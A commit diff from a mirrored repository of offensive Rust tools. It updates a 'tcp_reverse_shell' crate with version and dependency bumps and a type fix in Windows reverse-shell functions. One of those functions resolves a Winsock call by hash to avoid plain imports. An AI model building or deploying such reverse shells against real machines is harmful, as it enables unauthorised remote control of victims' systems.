mirror of
https://github.com/kmanc/remote_code_oxidation
synced 2026-06-08 15:21:46 +00:00
Win crate - inet_pton arg changed (#74)
* lock update * version bumps * small fix, should work
This commit is contained in:
@@ -7,7 +7,7 @@ license = "MIT"
|
||||
name = "tcp_reverse_shell"
|
||||
repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/tcp_reverse_shell"
|
||||
rust-version = "1.59"
|
||||
version = "1.5.1"
|
||||
version = "1.5.2"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
@@ -20,7 +20,7 @@ rco_config = {path = "../rco_config", version = ">=0.2.0"}
|
||||
rco_utils = {path = "../rco_utils", version = ">=1.0.1"}
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
windows.version = ">=0.41.0"
|
||||
windows.version = ">=0.44.0"
|
||||
windows.features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
|
||||
@@ -44,7 +44,7 @@ pub fn shell(ip: &str, port: u16) {
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inet_pton
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.inet_pton.html
|
||||
let mut sockaddr_in = SOCKADDR_IN {
|
||||
sin_family: AF_INET.0 as u16,
|
||||
sin_family: AF_INET,
|
||||
..Default::default()
|
||||
};
|
||||
// This is magic that I don't really understand but seems to work
|
||||
|
||||
@@ -40,7 +40,7 @@ pub fn shell(ip: &str, port: u16) {
|
||||
// See line 42
|
||||
let function = rco_utils::find_function_address(ws2_32, 0xf6d69fad519d46a0).unwrap();
|
||||
let mut sockaddr_in = SOCKADDR_IN {
|
||||
sin_family: AF_INET.0 as u16,
|
||||
sin_family: AF_INET,
|
||||
..Default::default()
|
||||
};
|
||||
let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void;
|
||||
|
||||
Reference in New Issue
Block a user